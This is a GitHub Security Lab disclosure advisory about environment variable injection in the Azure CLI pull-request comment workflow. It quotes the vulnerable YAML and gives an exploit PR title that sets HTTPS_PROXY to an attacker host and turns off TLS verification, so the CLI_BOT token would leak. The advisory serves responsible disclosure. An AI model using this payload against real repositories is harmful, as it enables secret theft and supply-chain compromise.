Coordinated Disclosure Timeline

Summary

Azure/azure-cli is vulnerable to Environment Variable Injection which may allow a malicious actor to exfiltrate the CLI_BOT secret.

Project

Azure-cli

Tested Version

Latest commit at the time of reporting

Details

Environment Variable Injection in AddPRComment.yml (GHSL-2024-294)

The AddPRComment.yml workflow is vulnerable to Environment Variable Injection.

The workflow can be triggered by an external user bypassing any required approvals because of the privileged pull_request_trigger event (see docs).

on:
  pull_request_target:
    types: [opened]
    branches:
      - dev
      - release

The workflow reads the Pull Request’s title into the TITLE environment variable and extracts the text between brackets/braces into an environment variable. Because grep will output a new line per match, an attacker can craft a PR title that will end up generating a multi-line message variable, enabling him to inject new environment variables.

permissions:
  pull-requests: write

jobs:
  thank-user:
    runs-on: ubuntu-20.04
    name: Say thanks for the PR
    steps:
      - name: get message
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          message=$(echo "$TITLE" | grep -oP '[{\[][^}\]]+[}\]]' | sed 's/{\|}\|\[\|\]//g')
          echo "message=$message" >> $GITHUB_ENV
          if [ -z $message ]; then
              echo "message=$(echo 'Thank you for your contribution! We will review the pull request and get back to you soon.')" >> $GITHUB_ENV
          fi

An attacker can submit a Pull Request with a title like [foo][ENV1=VALUE1][ENV2=VALUE2] to trigger the workflow.

The mentioned title will generate the following value for the message variable:

foo
ENV1=VALUE1
ENV2=VALUE2

Since the message variable will be tested with the POSIX test command, we will need to add a binary operator flag to handle the injected lines. We can do that by passing -a ([foo -a][ENV1=VALUE1][ENV2=VALUE2]) which will behave as a logic AND. As a result, two new environment variables will get defined in the GitHub runner.

ENV1=VALUE1
ENV2=VALUE2

Since the only step after the injection is a composite action that runs on node:

      - name: comment on the pull request
        uses: mshick/add-pr-comment@v2
        with:
          repo-token: ${{ secrets.CLI_BOT }}
          message: "${{ env.message }}"

The attack vector to gain arbitrary code execution could be to use NODE_OPTIONS, however GitHub does not allow to define this variable in order not to interfere with its running environment. Since the GITHUB_TOKEN has only pull-requests: write permissions, the attacker would be more interested in leaking the secrets.CLI_BOT token which may be more privileged and even have Azure org access. In order to do so, the attacker can inject a combination of HTTPS_PROXY=http://attacker (to proxy the calls performed by the mshick/add-pr-comment through a malicious SSL intercepting proxy and NODE_TLS_REJECT_UNAUTHORIZED=0 to force node.js to accept invalid TLS certificates.

Steps To Reproduce

By submitting the following PR title an attacker would be able to steal the repo-token stored in CLI_BOT since it will get attached to any HTTP requests sent through the malicious proxy.

[a -a][NODE_TLS_REJECT_UNAUTHORIZED=0][HTTPS_PROXY=https://non-existent-foo-goo.com]

As a proof of concept, I have opened a test PR with the above title. Since Im using a non-existent domain, no credentials will get leaked, but the error in the request will prove that the environment variables (NODE_TLS_REJECT_UNAUTHORIZED and HTTPS_PROXY) were injected and that the CLI_BOT could have been exfiltrated to the attacker-controlled proxy.

Looking at the Workflow run we can see the following error:

(node:1763) Warning: Setting the NODE_TLS_REJECT_UNAUTHORIZED environment variable to '0' makes TLS connections and HTTPS requests insecure by disabling certificate verification.
(Use `node --trace-warnings ...` to show where the warning was created)
Error: request to https://api.github.com/repos/Azure/azure-cli/issues/30037/comments?per_page=100 failed, reason: tunneling socket could not be established, cause=getaddrinfo ENOTFOUND non-existent-foo-goo.com

Impact

The impact depends on the permissions of the CLI_BOT token which may have organization access and be used to escalate to other workflows/repos or steal org-level defined secrets of the Azure org.

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-294 in any communication regarding this issue.